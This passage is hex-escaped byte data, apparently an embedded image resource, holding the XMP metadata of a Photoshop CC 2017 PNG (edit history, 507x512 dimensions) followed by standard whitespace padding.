\x65\x6d\x65\x6e\x74\x73\x2f\x31\x2e\x31\x2f\x22\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x70\
\x68\x6f\x74\x6f\x73\x68\x6f\x70\x3d\x22\x68\x74\x74\x70\x3a\x2f\
\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x70\x68\
\x6f\x74\x6f\x73\x68\x6f\x70\x2f\x31\x2e\x30\x2f\x22\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\
\x78\x6d\x70\x4d\x4d\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\
\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\x70\x2f\x31\
\x2e\x30\x2f\x6d\x6d\x2f\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x73\x74\x45\x76\x74\x3d\
\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\
\x2e\x63\x6f\x6d\x2f\x78\x61\x70\x2f\x31\x2e\x30\x2f\x73\x54\x79\
\x70\x65\x2f\x52\x65\x73\x6f\x75\x72\x63\x65\x45\x76\x65\x6e\x74\
\x23\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\
\x6d\x6c\x6e\x73\x3a\x74\x69\x66\x66\x3d\x22\x68\x74\x74\x70\x3a\
\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x74\
\x69\x66\x66\x2f\x31\x2e\x30\x2f\x22\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x65\x78\x69\x66\
\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\
\x65\x2e\x63\x6f\x6d\x2f\x65\x78\x69\x66\x2f\x31\x2e\x30\x2f\x22\
\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\
\x43\x72\x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3e\x41\x64\x6f\x62\
\x65\x20\x50\x68\x6f\x74\x6f\x73\x68\x6f\x70\x20\x43\x43\x20\x32\
\x30\x31\x37\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x29\x3c\x2f\x78\
\x6d\x70\x3a\x43\x72\x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3e\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x43\x72\
\x65\x61\x74\x65\x44\x61\x74\x65\x3e\x32\x30\x31\x37\x2d\x30\x38\
\x2d\x32\x38\x54\x31\x30\x3a\x33\x39\x3a\x35\x32\x2b\x30\x33\x3a\
\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x65\x44\x61\
\x74\x65\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\
\x70\x3a\x4d\x6f\x64\x69\x66\x79\x44\x61\x74\x65\x3e\x32\x30\x31\
\x37\x2d\x30\x39\x2d\x30\x35\x54\x31\x34\x3a\x30\x32\x3a\x31\x33\
\x2b\x30\x33\x3a\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x4d\x6f\x64\x69\
\x66\x79\x44\x61\x74\x65\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x3c\x78\x6d\x70\x3a\x4d\x65\x74\x61\x64\x61\x74\x61\x44\x61\
\x74\x65\x3e\x32\x30\x31\x37\x2d\x30\x39\x2d\x30\x35\x54\x31\x34\
\x3a\x30\x32\x3a\x31\x33\x2b\x30\x33\x3a\x30\x30\x3c\x2f\x78\x6d\
\x70\x3a\x4d\x65\x74\x61\x64\x61\x74\x61\x44\x61\x74\x65\x3e\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x66\x6f\x72\
\x6d\x61\x74\x3e\x69\x6d\x61\x67\x65\x2f\x70\x6e\x67\x3c\x2f\x64\
\x63\x3a\x66\x6f\x72\x6d\x61\x74\x3e\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x3c\x70\x68\x6f\x74\x6f\x73\x68\x6f\x70\x3a\x43\x6f\
\x6c\x6f\x72\x4d\x6f\x64\x65\x3e\x33\x3c\x2f\x70\x68\x6f\x74\x6f\
\x73\x68\x6f\x70\x3a\x43\x6f\x6c\x6f\x72\x4d\x6f\x64\x65\x3e\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x4d\x4d\x3a\
\x49\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\x78\x6d\x70\x2e\x69\
\x69\x64\x3a\x36\x62\x35\x34\x39\x37\x39\x62\x2d\x32\x34\x65\x66\
\x2d\x33\x62\x34\x31\x2d\x61\x37\x64\x65\x2d\x34\x62\x36\x62\x39\
\x33\x62\x35\x33\x31\x31\x65\x3c\x2f\x78\x6d\x70\x4d\x4d\x3a\x49\
\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\x0a\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x3c\x78\x6d\x70\x4d\x4d\x3a\x44\x6f\x63\x75\x6d\
\x65\x6e\x74\x49\x44\x3e\x78\x6d\x70\x2e\x64\x69\x64\x3a\x62\x32\
\x64\x38\x62\x64\x65\x64\x2d\x65\x35\x38\x34\x2d\x35\x63\x34\x64\
\x2d\x62\x65\x66\x39\x2d\x36\x62\x33\x35\x66\x34\x62\x33\x37\x32\
\x36\x34\x3c\x2f\x78\x6d\x70\x4d\x4d\x3a\x44\x6f\x63\x75\x6d\x65\
\x6e\x74\x49\x44\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\
\x78\x6d\x70\x4d\x4d\x3a\x4f\x72\x69\x67\x69\x6e\x61\x6c\x44\x6f\
\x63\x75\x6d\x65\x6e\x74\x49\x44\x3e\x78\x6d\x70\x2e\x64\x69\x64\
\x3a\x62\x32\x64\x38\x62\x64\x65\x64\x2d\x65\x35\x38\x34\x2d\x35\
\x63\x34\x64\x2d\x62\x65\x66\x39\x2d\x36\x62\x33\x35\x66\x34\x62\
\x33\x37\x32\x36\x34\x3c\x2f\x78\x6d\x70\x4d\x4d\x3a\x4f\x72\x69\
\x67\x69\x6e\x61\x6c\x44\x6f\x63\x75\x6d\x65\x6e\x74\x49\x44\x3e\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x4d\x4d\
\x3a\x48\x69\x73\x74\x6f\x72\x79\x3e\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x53\x65\x71\x3e\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\
\x72\x64\x66\x3a\x6c\x69\x20\x72\x64\x66\x3a\x70\x61\x72\x73\x65\
\x54\x79\x70\x65\x3d\x22\x52\x65\x73\x6f\x75\x72\x63\x65\x22\x3e\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x3c\x73\x74\x45\x76\x74\x3a\x61\x63\x74\x69\x6f\x6e\
\x3e\x63\x72\x65\x61\x74\x65\x64\x3c\x2f\x73\x74\x45\x76\x74\x3a\
\x61\x63\x74\x69\x6f\x6e\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x73\x74\x45\x76\x74\
\x3a\x69\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\x78\x6d\x70\x2e\
\x69\x69\x64\x3a\x62\x32\x64\x38\x62\x64\x65\x64\x2d\x65\x35\x38\
\x34\x2d\x35\x63\x34\x64\x2d\x62\x65\x66\x39\x2d\x36\x62\x33\x35\
\x66\x34\x62\x33\x37\x32\x36\x34\x3c\x2f\x73\x74\x45\x76\x74\x3a\
\x69\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\x0a\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x73\
\x74\x45\x76\x74\x3a\x77\x68\x65\x6e\x3e\x32\x30\x31\x37\x2d\x30\
\x38\x2d\x32\x38\x54\x31\x30\x3a\x33\x39\x3a\x35\x32\x2b\x30\x33\
\x3a\x30\x30\x3c\x2f\x73\x74\x45\x76\x74\x3a\x77\x68\x65\x6e\x3e\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x3c\x73\x74\x45\x76\x74\x3a\x73\x6f\x66\x74\x77\x61\
\x72\x65\x41\x67\x65\x6e\x74\x3e\x41\x64\x6f\x62\x65\x20\x50\x68\
\x6f\x74\x6f\x73\x68\x6f\x70\x20\x43\x43\x20\x32\x30\x31\x37\x20\
\x28\x57\x69\x6e\x64\x6f\x77\x73\x29\x3c\x2f\x73\x74\x45\x76\x74\
\x3a\x73\x6f\x66\x74\x77\x61\x72\x65\x41\x67\x65\x6e\x74\x3e\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\
\x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x20\
\x72\x64\x66\x3a\x70\x61\x72\x73\x65\x54\x79\x70\x65\x3d\x22\x52\
\x65\x73\x6f\x75\x72\x63\x65\x22\x3e\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x73\x74\x45\
\x76\x74\x3a\x61\x63\x74\x69\x6f\x6e\x3e\x73\x61\x76\x65\x64\x3c\
\x2f\x73\x74\x45\x76\x74\x3a\x61\x63\x74\x69\x6f\x6e\x3e\x0a\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x3c\x73\x74\x45\x76\x74\x3a\x69\x6e\x73\x74\x61\x6e\x63\x65\
\x49\x44\x3e\x78\x6d\x70\x2e\x69\x69\x64\x3a\x64\x39\x39\x64\x66\
\x39\x37\x39\x2d\x33\x39\x38\x30\x2d\x64\x38\x34\x32\x2d\x38\x66\
\x63\x35\x2d\x65\x31\x34\x36\x64\x61\x30\x64\x36\x64\x66\x62\x3c\
\x2f\x73\x74\x45\x76\x74\x3a\x69\x6e\x73\x74\x61\x6e\x63\x65\x49\
\x44\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x3c\x73\x74\x45\x76\x74\x3a\x77\x68\x65\x6e\
\x3e\x32\x30\x31\x37\x2d\x30\x39\x2d\x30\x34\x54\x32\x33\x3a\x32\
\x39\x3a\x30\x37\x2b\x30\x33\x3a\x30\x30\x3c\x2f\x73\x74\x45\x76\
\x74\x3a\x77\x68\x65\x6e\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x73\x74\x45\x76\x74\
\x3a\x73\x6f\x66\x74\x77\x61\x72\x65\x41\x67\x65\x6e\x74\x3e\x41\
\x64\x6f\x62\x65\x20\x50\x68\x6f\x74\x6f\x73\x68\x6f\x70\x20\x43\
\x43\x20\x32\x30\x31\x37\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x29\
\x3c\x2f\x73\x74\x45\x76\x74\x3a\x73\x6f\x66\x74\x77\x61\x72\x65\
\x41\x67\x65\x6e\x74\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x73\x74\x45\x76\x74\x3a\
\x63\x68\x61\x6e\x67\x65\x64\x3e\x2f\x3c\x2f\x73\x74\x45\x76\x74\
\x3a\x63\x68\x61\x6e\x67\x65\x64\x3e\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x6c\
\x69\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x20\x72\x64\x66\x3a\x70\x61\
\x72\x73\x65\x54\x79\x70\x65\x3d\x22\x52\x65\x73\x6f\x75\x72\x63\
\x65\x22\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x3c\x73\x74\x45\x76\x74\x3a\x61\x63\x74\
\x69\x6f\x6e\x3e\x73\x61\x76\x65\x64\x3c\x2f\x73\x74\x45\x76\x74\
\x3a\x61\x63\x74\x69\x6f\x6e\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x73\x74\x45\x76\
\x74\x3a\x69\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\x78\x6d\x70\
\x2e\x69\x69\x64\x3a\x36\x62\x35\x34\x39\x37\x39\x62\x2d\x32\x34\
\x65\x66\x2d\x33\x62\x34\x31\x2d\x61\x37\x64\x65\x2d\x34\x62\x36\
\x62\x39\x33\x62\x35\x33\x31\x31\x65\x3c\x2f\x73\x74\x45\x76\x74\
\x3a\x69\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\
\x73\x74\x45\x76\x74\x3a\x77\x68\x65\x6e\x3e\x32\x30\x31\x37\x2d\
\x30\x39\x2d\x30\x35\x54\x31\x34\x3a\x30\x32\x3a\x31\x33\x2b\x30\
\x33\x3a\x30\x30\x3c\x2f\x73\x74\x45\x76\x74\x3a\x77\x68\x65\x6e\
\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x3c\x73\x74\x45\x76\x74\x3a\x73\x6f\x66\x74\x77\
\x61\x72\x65\x41\x67\x65\x6e\x74\x3e\x41\x64\x6f\x62\x65\x20\x50\
\x68\x6f\x74\x6f\x73\x68\x6f\x70\x20\x43\x43\x20\x32\x30\x31\x37\
\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x29\x3c\x2f\x73\x74\x45\x76\
\x74\x3a\x73\x6f\x66\x74\x77\x61\x72\x65\x41\x67\x65\x6e\x74\x3e\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x3c\x73\x74\x45\x76\x74\x3a\x63\x68\x61\x6e\x67\x65\
\x64\x3e\x2f\x3c\x2f\x73\x74\x45\x76\x74\x3a\x63\x68\x61\x6e\x67\
\x65\x64\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x53\
\x65\x71\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x78\
\x6d\x70\x4d\x4d\x3a\x48\x69\x73\x74\x6f\x72\x79\x3e\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x3c\x74\x69\x66\x66\x3a\x4f\x72\x69\
\x65\x6e\x74\x61\x74\x69\x6f\x6e\x3e\x31\x3c\x2f\x74\x69\x66\x66\
\x3a\x4f\x72\x69\x65\x6e\x74\x61\x74\x69\x6f\x6e\x3e\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x3c\x74\x69\x66\x66\x3a\x58\x52\x65\
\x73\x6f\x6c\x75\x74\x69\x6f\x6e\x3e\x37\x32\x30\x30\x30\x30\x2f\
\x31\x30\x30\x30\x30\x3c\x2f\x74\x69\x66\x66\x3a\x58\x52\x65\x73\
\x6f\x6c\x75\x74\x69\x6f\x6e\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x3c\x74\x69\x66\x66\x3a\x59\x52\x65\x73\x6f\x6c\x75\x74\
\x69\x6f\x6e\x3e\x37\x32\x30\x30\x30\x30\x2f\x31\x30\x30\x30\x30\
\x3c\x2f\x74\x69\x66\x66\x3a\x59\x52\x65\x73\x6f\x6c\x75\x74\x69\
\x6f\x6e\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x74\x69\
\x66\x66\x3a\x52\x65\x73\x6f\x6c\x75\x74\x69\x6f\x6e\x55\x6e\x69\
\x74\x3e\x32\x3c\x2f\x74\x69\x66\x66\x3a\x52\x65\x73\x6f\x6c\x75\
\x74\x69\x6f\x6e\x55\x6e\x69\x74\x3e\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x3c\x65\x78\x69\x66\x3a\x43\x6f\x6c\x6f\x72\x53\x70\
\x61\x63\x65\x3e\x36\x35\x35\x33\x35\x3c\x2f\x65\x78\x69\x66\x3a\
\x43\x6f\x6c\x6f\x72\x53\x70\x61\x63\x65\x3e\x0a\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x3c\x65\x78\x69\x66\x3a\x50\x69\x78\x65\x6c\
\x58\x44\x69\x6d\x65\x6e\x73\x69\x6f\x6e\x3e\x35\x30\x37\x3c\x2f\
\x65\x78\x69\x66\x3a\x50\x69\x78\x65\x6c\x58\x44\x69\x6d\x65\x6e\
\x73\x69\x6f\x6e\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\
\x65\x78\x69\x66\x3a\x50\x69\x78\x65\x6c\x59\x44\x69\x6d\x65\x6e\
\x73\x69\x6f\x6e\x3e\x35\x31\x32\x3c\x2f\x65\x78\x69\x66\x3a\x50\
\x69\x78\x65\x6c\x59\x44\x69\x6d\x65\x6e\x73\x69\x6f\x6e\x3e\x0a\
\x20\x20\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x44\x65\x73\x63\
\x72\x69\x70\x74\x69\x6f\x6e\x3e\x0a\x20\x20\x20\x3c\x2f\x72\x64\
\x66\x3a\x52\x44\x46\x3e\x0a\x3c\x2f\x78\x3a\x78\x6d\x70\x6d\x65\
\x74\x61\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
